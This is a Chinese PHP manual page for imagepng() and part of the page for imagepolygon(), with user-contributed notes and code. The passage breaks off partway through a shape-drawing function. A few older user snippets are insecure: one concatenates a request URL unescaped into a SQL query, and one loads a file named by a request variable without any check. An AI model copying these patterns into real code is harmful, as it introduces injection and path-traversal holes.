从指定 image 输出或保存 PNG 图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

Note:

如果未使用 quality 和 filters 参数，则 null 无效。

quality

压缩级别：从 0（不压缩）到 9。 默认值（-1）使用 zlib 压缩默认值。 有关详细信息，请参阅 » zlib 手册。

filters

允许减小 PNG 文件的大小。它是位掩码字段，可以设置为任意 PNG_FILTER_XXX 常量的组合。PNG_NO_FILTER 或 PNG_ALL_FILTERS 也可分别用于禁用或激活所有过滤器。 默认值（-1）禁用过滤。

Caution

系统 libgd 忽略 filters 参数。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

<?php
$im = imagecreatefrompng("test.png");

header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

参见

  • imagegif() - 输出图象到浏览器或文件。
  • imagewbmp() - 输出图象到浏览器或文件。
  • imagejpeg() - 输出图象到浏览器或文件。
  • imagetypes() - 返回 PHP 内置支持的图像类型
  • imagesavealpha() - 保存图像时是否保留完整的 alpha 通道信息

User Contributed Notes

Messerli at messerli dot net 22-Apr-2023 03:26
// Send the Image as Base64 Data directly to the browser.
// No File on the Server! No Hacker Problem.

  ob_start();
  imagepng($img);
  $ImageData=ob_get_contents();
  ob_end_clean();
  echo '<img src="data:image/jpg;base64,'.base64_encode($ImageData).'">';
klaus at hax dot at 07-Feb-2017 05:25
apparently something changed from php 5.5 to 5.6.

I used to call ImagePng($image, '');
apparently this doesn't work anymore in 5.6 as it returns: imagepng(): Filename cannot be empty

ImagePng($image, NULL);

seems to work fine though.
Chris F 14-Aug-2015 04:33
I was curious about the relationship between quality, processing time and resulting image size, so I created this little benchmark to test it (The image used was originally RGB_24bits_palette_R85.png, found on wikipedia). Results are at the bottom.
<?php
$sizes = ['32', '64', '128', '256', '512', '1024', '2048'];

foreach ($sizes as $size) {
    echo "\nSize: {$size}x{$size}px:\n";

    $image = imagecreatefrompng("images/test{$size}.png");
    for ($quality = 0; $quality < 10; $quality++) {
        ob_start();

        $start = microtime(true);
        imagepng($image, null, $quality);
        $elapsed = microtime(true) - $start;

        $blob = ob_get_contents();
        ob_end_clean();

        $blobSize = strlen($blob);
        echo "quality: $quality, size: $blobSize, elapsed: $elapsed\n";
    }

    imagedestroy($image);
}

// Results (some omitted for brevity):

// Size: 32x32px:
// quality: 0, size: 3172, elapsed: 0.00013399124145508
// quality: 1, size: 266, elapsed: 9.4890594482422E-5
// quality: 2, size: 264, elapsed: 7.7009201049805E-5
// quality: 3, size: 223, elapsed: 7.4863433837891E-5
// quality: 4, size: 225, elapsed: 8.5830688476562E-5
// quality: 5, size: 209, elapsed: 8.5115432739258E-5
// quality: 6, size: 208, elapsed: 9.608268737793E-5
// quality: 7, size: 205, elapsed: 0.0001060962677002
// quality: 8, size: 186, elapsed: 0.00015091896057129
// quality: 9, size: 181, elapsed: 0.00022006034851074

// Size: 128x128px:
// quality: 0, size: 49425, elapsed: 0.0010969638824463
// quality: 1, size: 976, elapsed: 0.00091886520385742
// quality: 2, size: 938, elapsed: 0.00088310241699219
// quality: 3, size: 925, elapsed: 0.00087594985961914
// quality: 4, size: 608, elapsed: 0.0009760856628418
// quality: 5, size: 607, elapsed: 0.00098395347595215
// quality: 6, size: 601, elapsed: 0.0010099411010742
// quality: 7, size: 602, elapsed: 0.001086950302124
// quality: 8, size: 521, elapsed: 0.001910924911499
// quality: 9, size: 491, elapsed: 0.0029060840606689

// Size: 512x512px:
// quality: 0, size: 788279, elapsed: 0.012928009033203
// quality: 1, size: 12467, elapsed: 0.013065099716187
// quality: 2, size: 11885, elapsed: 0.013008117675781
// quality: 3, size: 11190, elapsed: 0.013030052185059
// quality: 4, size: 7311, elapsed: 0.016619920730591
// quality: 5, size: 6994, elapsed: 0.016351222991943
// quality: 6, size: 6475, elapsed: 0.016234159469604
// quality: 7, size: 6432, elapsed: 0.016525983810425
// quality: 8, size: 6094, elapsed: 0.022937774658203
// quality: 9, size: 5649, elapsed: 0.065664052963257

// Size: 2048x2048px:
// quality: 0, size: 12605375, elapsed: 0.20983290672302
// quality: 1, size: 451735, elapsed: 0.19678711891174
// quality: 2, size: 409375, elapsed: 0.19415307044983
// quality: 3, size: 366404, elapsed: 0.20460414886475
// quality: 4, size: 312538, elapsed: 0.22785305976868
// quality: 5, size: 281671, elapsed: 0.23320484161377
// quality: 6, size: 244248, elapsed: 0.28935289382935
// quality: 7, size: 238310, elapsed: 0.33481192588806
// quality: 8, size: 217038, elapsed: 0.71698379516602
// quality: 9, size: 208881, elapsed: 1.858146905899
?>
php dot net at phor dot net 23-Oct-2013 01:46
If you are outputting a PNG directly in response to a client request it is important to check your web server configuration.

Some clients may request your images with a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">accept header</a> of image/*. Default configurations of Apache and possibly other servers will by default NOT allow your script to run in response to this request.

Apache is specifically discussed at http://stackoverflow.com/q/19169337 but other server have been documented to have issue too.

In other words, when testing your application don't just use the web browser, consider a phone's browser and networking libraries which could send different headers.
geompse at gmail dot com 23-Mar-2012 11:41
Be careful when using a variable for the file name.
PHP behavior with $filename differs when switching to PHP5.4 : PHP5.3 will use $filename='' the same way as $filename=NULL (e.g. no warning)
<?php
$im = imagecreatetruecolor(10,10);
imagepng($im,'',9); # Warning: imagepng(): Filename cannot be empty
imagepng($im,NULL,9); # works as expected
imagedestroy($im);
?>
matteosistisette at gmail dot com 09-Oct-2011 12:02
The name "quality" for the compression parameter is quite misleading, as png compression is always lossless. The trade off is between speed and filesize, it cannot affect quality.

Here's something I found at stackoverflow; I haven't checked it, but if it is correct it should definitely included in the documentation:

---
from php source (gd.h):

/* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all,
* 1 is FASTEST but produces larger files, 9 provides the best
* compression (smallest files) but takes a long time to compress, and
* -1 selects the default compiled into the zlib library.
*/
Conclusion: Based on the Zlib manual (http://www.zlib.net/manual.html) the default compression level is set to 6.
---

Regarding suggestions to rescale the 0-99 quality range of jpeg into the 0-9 range of png, note that for jpeg 99 is minimum compression (maximum quality) while for png 9 is maximum compression (quality doesn't change).
Zane, MegaLab.it 14-Jul-2011 11:38
My script was unable to complete: Fatal error: Allowed memory size of XX bytes exhausted (tried to allocate XX+n bytes).

I found out that PHP handles images in uncompressed format: my input image was 8768x4282@32 bit => ~150 MB per single in-memory copy.

As a solution, you can either check the dimensions and reject anything too big or, as I did, use ini_set('memory_limit','1024M'); on the page start (if your server has enough on board memory).
boukeversteegh at gmail dot com 03-May-2011 02:41
If you care about speed, you probably already cache your generated images to a file. In that case, DON'T use "createimagefrompng" and "imagepng" to output the image. Use fpassthru instead. It is literally hundreds of times faster.

<?php
  header("Content-Type: image/png");

  # Generate cachefile for image, if it doesn't exist
  if( !file_exists($cachefile) ) {
    $im = generateimage();     # some code generates an image resource
    imagepng($im, $cachefile); # store the image to cachefile

    # don't output it like this:
    /* imagepng($im);*/

    imagedestroy($im);
  }

  $fp = fopen($cachefile, 'rb'); # stream the image directly from the cachefile
  fpassthru($fp);
  exit;
?>

I've tested it with a 5120x5120 (1.2Mb) image, that was cached on the harddisk. Using imagepng, the transfer took 12 seconds. Using fpassthru, it took only 32ms!
codam 15-Mar-2011 10:03
Creating a transparent image filled with tranparent color only

I had some hard times putting up this one:

<?php
// Set the image
$img = imagecreatetruecolor(100,100);
imagesavealpha($img, true);

// Fill the image with transparent color
$color = imagecolorallocatealpha($img,0x00,0x00,0x00,127);
imagefill($img, 0, 0, $color);

// Save the image to file.png
imagepng($img, "file.png");

// Destroy image
imagedestroy($img);
?>
mhorne69 at gmail dot com 24-Oct-2010 07:02
If you're generating an image dynamically based on post data and don't want to save it to the server, sending it to be displayed can cause problems as when the person tries to save it, the browser will request it again from the server (causing any post data to be lost and probably a corrupted png).

The easiest way to get around this is to force it to download using the content disposition header, for example:

<?php
header('Content-Disposition: Attachment;filename=image.png');
header('Content-type: image/png');
?>
anonymous 01-Sep-2010 12:51
If you need to call imagepng() multiple times (for example, when you want to send it to the browser, but also to a disk cache), write your image to a file first, THEN call readfile() on it.

PHP internally works with a temporary file when sending the image to the browser, so you'll gain nothing by calling imagepng() twice.
wietse89 at gmail dot com 29-Mar-2010 06:55
When you allow multiple output formats, (jpg/png) but want to use the 1-100 quality scale (like jpg), you will have to format the number:

<?php
$pngQuality = ($quality - 100) / 11.111111;
$pngQuality = round(abs($pngQuality));
imagepng($resource, $path, $pngQuality);
?>
r.lomas at infonie.fr 19-Feb-2010 07:53
I just lost about 4 hours on a really stupid problem. My images on the local server were somehow broken and therefore did not display in the browsers. After much looking around and testing, including re-installing apache on my computer a couple of times, I traced the problem to an included file.
No the problem was not a whitespace, but the UTF BOM encoding character at the begining of one of my inluded files...
So beware of your included files!
Make sure they are not encoded in UTF or otherwise in UTF without BOM.
Hope it save someone's time.
thalis kalfigopoulos 08-May-2009 04:17
I ran across the following WRT sessions and image creation.

In main.php:
<?php
  (...session in progress...)
  $_SESSION['text']='some text...';
  $imgSrc='http://foo.com/createImage.php?sid='.session_id();
  echo('<img src="'.$imgSrc.'"/>');
  unset($_SESSION['text']);
...
?>

In createImage.php:
<?php
  header('image/png');
  session_id($_REQUEST['sid']);
  session_start();
  $img=imagecreatetruecolor(200, 30);
  $text_color=imagecolorallocate($img, 200, 200, 200);
  imagestring($img, 5, 5, 5,  $_SESSION['text'], $text_color);
  imagepng($img);
  imagedestroy($img);
?>

Problem: main.php execution ends before createImage.php writing the text to image, thus the unset($_SESSION['text']) destroys the text and you end up with empty image.
Solution: move call to unset() as last statement of createImage.php
matt at mattbostock dot com 16-Mar-2009 12:11
To change the background of a 24-bit PNG for graceful degradation in IE6, the PNG file needs a bKGD chunk:

<?php
    // insert a BKGD chunk into the PNG file for graceful image degradation in IE6
    $bgColor = array(250, 250, 250);
    $pngData = bin2hex(file_get_contents($filename));

    $idatMarker = '200049444154';
    $bkgdMarker = '624b4744';

    $bkgdChunk = '0006' . $bkgdMarker;
    foreach ($bgColor as $bit)
    {
        $bkgdChunkData .= '00' . dechex($bit);
    }
    $bkgdChunk .= $bkgdChunkData;
    $bkgdChunk .= dechex(crc32(pack('H*', $bkgdMarker . $bkgdChunkData))) . '0000';

    $parsed = explode($idatMarker, $pngData, 2); // split file by first 'IDAT' chunk
    $pngData = pack('H*', $parsed[0] . $bkgdChunk . $idatMarker . $parsed[1]);
    file_put_contents($cachedFilename, $pngData);
?>
eetu11 at suomi24 dot fi 01-Nov-2008 07:20
<?php

    // aid of the highlighted Alliance
    $marked_aid = 2403;

    // Preferences
    $mysqlhost = 'localhost';
    $mysqluser = 'user';
    $mysqlpass = 'password';
    $mysqldb = 'database';

    // Create database connection and select database
    $db = @mysql_connect($mysqlhost, $mysqluser, $mysqlpass) OR die('Can not connect to DB-Server!');
    $db_select = @mysql_select_db($mysqldb) OR die('Can not select DB!');

    // Create image: Map goes from -400 to 400
    // -> sums up tp 2*400+1 (+1 due to the 0 in the center)
    $image = imagecreate(801, 801);

    // Choose the colors of background, normal village and highlighted alliance
    $color_background = imagecolorallocate($image, 255, 255, 255);
    $color_normal = imagecolorallocate($image, 200, 200, 200);
    $color_marked = imagecolorallocate($image, 255, 0, 0);

    // Fill images background with chosen color
    imagefill($image, 0, 0, $color_background);

    // Select ALL villages from the DB and order by ascending ID
    // (Fields are numbered from top left to bottom right)
    $query = 'SELECT x, y, aid FROM x_world ORDER BY id ASC';
    $result = @mysql_query($query) OR die('Can not select villages from table x_world!');

    // Check whether there any villages at all
    if (mysql_num_rows($result)) {

        // Select first village
        $row = @mysql_fetch_assoc($result);

        // These variables save the location on which we are currently drawing
        $x_pointer = 0;
        $y_pointer = 0;

        // Outer loop for the Y-coordinates
        for($y=400; $y >= -400; $y--) {

            // Inner loop for the X-coordinates
            for ($x=-400; $x <= 400; $x++) {

                // Once we reached the coordinates matching the current record selected from the DB:
                if ($row['x'] == $x AND $row['y'] == $y) {

                    // Selecting the village color depending on the aid
                    if ($row['aid'] == $marked_aid) {
                        $color = $color_marked;
                    } else {
                        $color = $color_normal;
                    }

                    // Drawing the village with the selected color
                    imagefilledrectangle($image, $x_pointer, $y_pointer, ($x_pointer + 1), ($y_pointer + 1), $color);

                    // Select next record
                    $row = @mysql_fetch_assoc($result);
                }

                // Increase pointer for X-coordinate
                $x_pointer++;
            }

            // Increase pointer for Y-coordinate
            $y_pointer++;

            // We reached the end of a line and have to set the X-pointer to 0 again
            $x_pointer = 0;
        }
    }

    // Select the HTTP-Header for the selected filetype
    header("Content-Type: image/png");

    // Generate image and print it
    imagepng($image);

?>
luxian.m [at] gmail [dot] com 16-Sep-2008 01:46
If you want to open a png image with alpha blending, you need to do something like this:

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>

I spent almost a day to find out why alpha blending doesn't work. I hope this is usefull to others too :)
vicrry at yahoo dot com 18-Apr-2008 04:16
@ phpman at texmedia dot de:

The compression range in PNG is in range 0-9, i think if you specified a compression level higher than 9, it'll be completely "compressed", or suppressed in the other words.

The compression level is originally for JPEG, which is in range 0 - 100, I think it'll work fine if you divide it by ten before passing to imagepng(). ;)
Jeff Sauro 13-Nov-2007 03:39
My webserver, running 5.14 didn't like the header that was generated using imagepng(). It works find on my local test server and on 4.x from another host.

The generated image displays in the browser (IE, firefox) but when saved to a file or inserted into an RTF file, the image was corrupted. As a test, when attempting to right-click to save as, the image format was not recognized.

The only work-around appears to be adding the additional paramaters.

So instead of just
imagepng($image); //DIDNT WORK--CORUPT IMAGE

This worked
imagepng($image,NULL,0,NULL);

and saving to disk, this worked:
imagepng($image,$file_location,0,NULL);

Jeff
phpman at texmedia dot de 27-Oct-2007 02:06
When changeing the PHP version from 4 to 5 I found out, that PHP5 handles imagepng() more restrictive than in PHP4. I'd used

imagepng($image,'',90);

to reduce the image quality whithout saving the image as a file. The quality parameter is not supported at all, I used imagejpg before and simply changed the function to imagepng whithout taking care of the existing parameters. It did not matter and there was no error in PHP4. But in PHP5, the image will not be shown anymore. So you have to remove it to have the standard:

imagepng($image);
alex at gateway-productions dot com 08-Jan-2007 03:17
barts code below does not work at least with gd 2

Only returns a blank image with alpha not the source resized

        $im = ImageCreateFromPNG($sourcefile);
        $im_dest = imagecreatetruecolor ($forcedwidth, $forcedheight);
        imagealphablending($im_dest, false);
        imagecopyresampled($im_dest, $im, 0, 0, 0, 0, $wm_width, $wm_height, $forcedwidth, $forcedheight);
        imagesavealpha($im_dest, true);
        imagepng($im_dest, $destfile);
        imagedestroy($img_dest);

ps you also forgot image destroy and you had a random var in imagepng undefined in your post
bart at resolume dot com 06-Apr-2006 08:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com 27-Dec-2005 07:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
    list($width, $height, $type, $attr) = getimagesize($src);
    $im = imagecreatefrompng($src);
    $tim = imagecreatetruecolor($dstw,$dsth);
    imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
    $tim = ImageTrueColorToPalette2($tim,false,255);
    imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com 24-Dec-2005 01:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info 04-Jul-2005 08:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
    header('Content-type: image/png');
    header('Content-Length: ' . strlen($img));
    return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com 20-May-2005 11:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net 04-May-2005 07:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
dws at mrao dot cam dot ac dot uk 22-Jan-2005 02:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
pm at dontspamme dot pietmarcus dot com 23-Aug-2004 01:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '\\');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com 17-Aug-2004 07:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de 16-Apr-2003 06:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
    $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
    $imageurl = $imgpath . $nofileurl;
else
    $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
      case 1:
       # GIF image
        $timg = imageCreateFromGIF($imageurl);
        break;
    case 2:
       # JPEG image
        $timg = imageCreateFromJPEG($imageurl);
        break;
    case 3:
       # PNG image
        $timg = imageCreateFromPNG($imageurl);
        break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
      case 1:
    # GIF image
        header("Content-type: image/gif");
        imageGIF($imgh);
    case 2:
    # JPEG image
        header("Content-type: image/jpeg");
        imageJPEG($imgh);
    case 3:
    # PNG image
        header("Content-type: image/png");
        imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
23-Jan-2003 10:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net 20-Jan-2003 04:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com 26-Jul-2002 06:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com 17-Feb-2002 06:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.


绘制多边形

  • ? imagepng
  • imagerectangle ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制多边形

imagepolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepolygon — 绘制多边形

说明

自 PHP 8.0.0 起的签名（不支持命名参数）

imagepolygon(GdImage $image, array $points, int $color): bool

替代签名（从 PHP 8.1.0 开始弃用）

imagepolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imagepolygon() 在指定 image 中创建多边形。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

points

包含多边形顶点的数组，例如：

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

点（顶点）的总数，必须最少为 3。

如果根据第二个签名省略此参数，则 points 必须具有偶数个元素，并且假定 num_points 为 count($points)/2。
color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 弃用参数 num_points。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagepolygon() 示例

<?php
// Create a blank image
$image = imagecreatetruecolor(400, 300);

// Allocate a color for the polygon
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Draw the polygon
imagepolygon($image, array(
0, 0,
100, 200,
300, 200
),
3,
$col_poly);

// Output the picture to the browser
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

以上示例的输出类似于：

参见

  • imagefilledpolygon() - 绘制多边形并填充
  • imageopenpolygon() - Draws an open polygon
  • imagecreate() - 创建新的基于调色板的图像
  • imagecreatetruecolor() - 新建真彩色图像

User Contributed Notes

licson0729 at gmail dot com 23-May-2012 11:21
Here's a function to draw a n-sided star:

<?php
function drawStar($img,$x,$y,$radius,$sides,$color,$spikness=0.5)
{
    $point =array();
    $t = 0;
    for($a = 0;$a <= 360;$a += 360/($sides*2))
    {
        $t++;
        if($t % 2 == 0)
        {
            $point[] = $x + ($radius * $spikness) * cos(deg2rad($a));
            $point[] = $y + ($radius * $spikness) * sin(deg2rad($a));
        }else{
            $point[] = $x + $radius * cos(deg2rad($a));
            $point[] = $y + $radius * sin(deg2rad($a));
        }
    }
    return imagepolygon($img,$point,$sides*2,$color);
}
?>
licson0729 at gmail dot com 21-May-2012 10:39
Function to draw a n-sided regular polygon

<?php
$img = imagecreatetruecolor(1360,768);

function regularPolygon($img,$x,$y,$radius,$sides,$color)
{
    $points = array();
    for($a = 0;$a <= 360; $a += 360/$sides)
    {
        $points[] = $x + $radius * cos(deg2rad($a));
        $points[] = $y + $radius * sin(deg2rad($a));
    }
    return imagepolygon($img,$points,$sides,$color);
}

regularPolygon($img,1360/2,768/2,300,8,0xffffff);//Test draw

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
tatlar at yahoo dot com 11-Sep-2006 04:48
Function to get 5-sided polygon (pentagon) or star (pentagram) co-ords.
<?php
function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    $point = array() ; // new array
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // degree of spikiness, default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
